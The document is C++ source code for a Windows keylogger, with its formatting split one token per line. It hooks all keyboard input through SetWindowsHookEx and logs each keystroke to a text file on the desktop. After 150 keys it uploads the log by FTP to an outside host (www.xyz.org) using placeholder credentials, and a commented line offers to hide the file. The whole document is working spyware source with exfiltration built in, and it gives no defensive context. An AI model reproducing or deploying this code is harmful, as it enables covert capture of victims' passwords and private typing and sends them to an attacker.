#pragma comment (lib,"wininet.lib")
#include <windows.h>
#include <wininet.h> //for uploadFile function
#include <shlobj.h>
#include <iostream>
using
namespace
std;
char
* extractFilename(
char
* path){
char
* ret = path;
bool
isFullPath =
false
;
for
(
int
i=0;i<
strlen
(path);i++){
if
(ret[i] ==
'\\'
){
isFullPath =
true
;
}
}
if
(isFullPath){
ret = (
char
*)((
DWORD
)path + lstrlen(path) - 1);
while
(*ret !=
'\\'
)
ret--;
ret++;
}
return
ret;
}
FILE
* f;
HHOOK
hKeyboardHook;
/*Change file attributes to hidden*/
void
hide_file(
char
* file)
{
if
(GetFileAttributes(file) != 0x22)
SetFileAttributes(file,0x22);
}
/*Since we are working with files placed on desktop we need the Desktop directory path*/
bool
getDesktopPath(
char
* ret)
{
char
desktop[260];
if
(SUCCEEDED(SHGetFolderPath(NULL,
CSIDL_DESKTOPDIRECTORY | CSIDL_FLAG_CREATE,
NULL,
SHGFP_TYPE_CURRENT,
desktop)))
{
strcpy
(ret,desktop);
return
true
;
}
else
{
ret = NULL;
return
false
;
}
}
//Multiple concatenation
char
*dupcat(
const
char
*s1, ...){
int
len;
char
*p, *q, *sn;
va_list
ap;
len =
strlen
(s1);
va_start
(ap, s1);
while
(1) {
sn =
va_arg
(ap,
char
*);
if
(!sn)
break
;
len +=
strlen
(sn);
}
va_end
(ap);
p =
new
char
[len + 1];
strcpy
(p, s1);
q = p +
strlen
(p);
va_start
(ap, s1);
while
(1) {
sn =
va_arg
(ap,
char
*);
if
(!sn)
break
;
strcpy
(q, sn);
q +=
strlen
(q);
}
va_end
(ap);
return
p;
}
//Example: cout<<dupcat("D:","\\","Folder",0)<<endl; ==> D:\Folder
/*Upload file to server*/
BOOL
uploadFile(
char
*filename,
char
*destination_name,
char
*address,
char
*username,
char
*password)
{
BOOL
t =
false
;
HINTERNET hint,hftp;
hint = InternetOpen(
"FTP"
,INTERNET_OPEN_TYPE_PRECONFIG,0,0,INTERNET_FLAG_ASYNC);
hftp = InternetConnect(hint,address,INTERNET_DEFAULT_FTP_PORT,username,password,INTERNET_SERVICE_FTP,0,0);
t = FtpPutFile(hftp,filename,destination_name,FTP_TRANSFER_TYPE_BINARY ,0);
InternetCloseHandle(hftp);
InternetCloseHandle(hint);
return
t;
}
static
int
keysPressed = 0;
//Lets count the keys pressed
LRESULT
WINAPI Keylogger (
int
nCode,
WPARAM
wParam,
LPARAM
lParam)
{
char
currentDirectory[260];
char
* workFullPath;
if
((nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)))
{
bool
truth = getDesktopPath(currentDirectory);
//If we can capture the desktop directory then we are good
if
(truth)
{
//Concatenate desktop directory and files
workFullPath = dupcat(currentDirectory,
"\\work.txt"
,NULL);
//So the file path will be like: C:\Users\Corporation\Desktop\work.txt
f =
fopen
(workFullPath,
"a+"
);
//Open the file
}
KBDLLHOOKSTRUCT hooked_key = *((KBDLLHOOKSTRUCT*)lParam);
DWORD
dwMsg = 1;
dwMsg += hooked_key.scanCode << 16;
dwMsg += hooked_key.flags << 24;
char
lpszKeyName[1024] = {0};
lpszKeyName[0] =
'['
;
int
i = GetKeyNameText(dwMsg, (lpszKeyName + 1),0xFF) + 1;
int
key = hooked_key.vkCode;
lpszKeyName[i] =
']'
;
//Key value or something else ?
//if the key if from A-Z,a-z,0-9 then add this to file
if
(key >=
'A'
&& key <=
'Z'
)
{
if
(GetAsyncKeyState(VK_SHIFT) >= 0)
key += 0x20;
if
(f != NULL)
fprintf
(f,
"%c"
, key);
}
//else add the name of the key.For example if the key is 32 -> Add "Space" to the file,so we know that space has been pressed.lpszKeyName is that name.
else
{
if
(f != NULL)
fprintf
(f,
"%s"
, lpszKeyName);
}
keysPressed ++;
if
(keysPressed == 150)
//Enough data
{
//extractFilename is used to extract only the file from path:Example: C:\data\x.php,
//extractFilename("C:\\data\\x.php") => x.php so that we add only the file to ftp
uploadFile(workFullPath,extractFilename(workFullPath),
"www.xyz.org"
,
"ftpUsername"
,
"ftpPassword"
);
//Upload the file to FTP
keysPressed = 0;
}
//You can make the file hidden :))
//hide_file(workFullPath);
fclose
(f);
}
return
CallNextHookEx(hKeyboardHook,nCode,wParam,lParam);
}
DWORD
WINAPI JACKAL(
LPVOID
lpParm)
{
HINSTANCE
hins;
hins = GetModuleHandle(NULL);
hKeyboardHook = SetWindowsHookEx ( WH_KEYBOARD_LL, (HOOKPROC) Keylogger, hins, 0);
MSG message;
while
(GetMessage(&message,NULL,0,0))
{
TranslateMessage( &message );
DispatchMessage( &message );
}
UnhookWindowsHookEx(hKeyboardHook);
return
0;
}
void
main(){
JACKAL(NULL);
}